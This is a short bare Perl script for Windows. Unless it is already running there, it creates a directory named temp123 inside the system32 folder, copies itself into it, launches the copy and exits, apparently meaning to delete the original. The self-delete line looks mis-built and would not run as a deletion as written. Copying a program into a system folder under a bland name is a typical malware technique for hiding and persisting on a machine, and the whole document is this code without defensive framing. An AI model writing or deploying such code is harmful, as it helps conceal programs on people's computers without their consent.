use Tie::File; if ($0 !~ /system32\\temp123/ ) { temp(); } tie @test, 'Tie::File', "test.txt"; sub temp { system("md %windir%\\system32\\temp123"); my $filename = $0; $filename =~ s/.*\\//g; system("copy \"$0\" %windir%\\system32\\temp123\\$filename"); system("start %windir%\\system32\\temp123\\$filename del \"$0\""); exit; }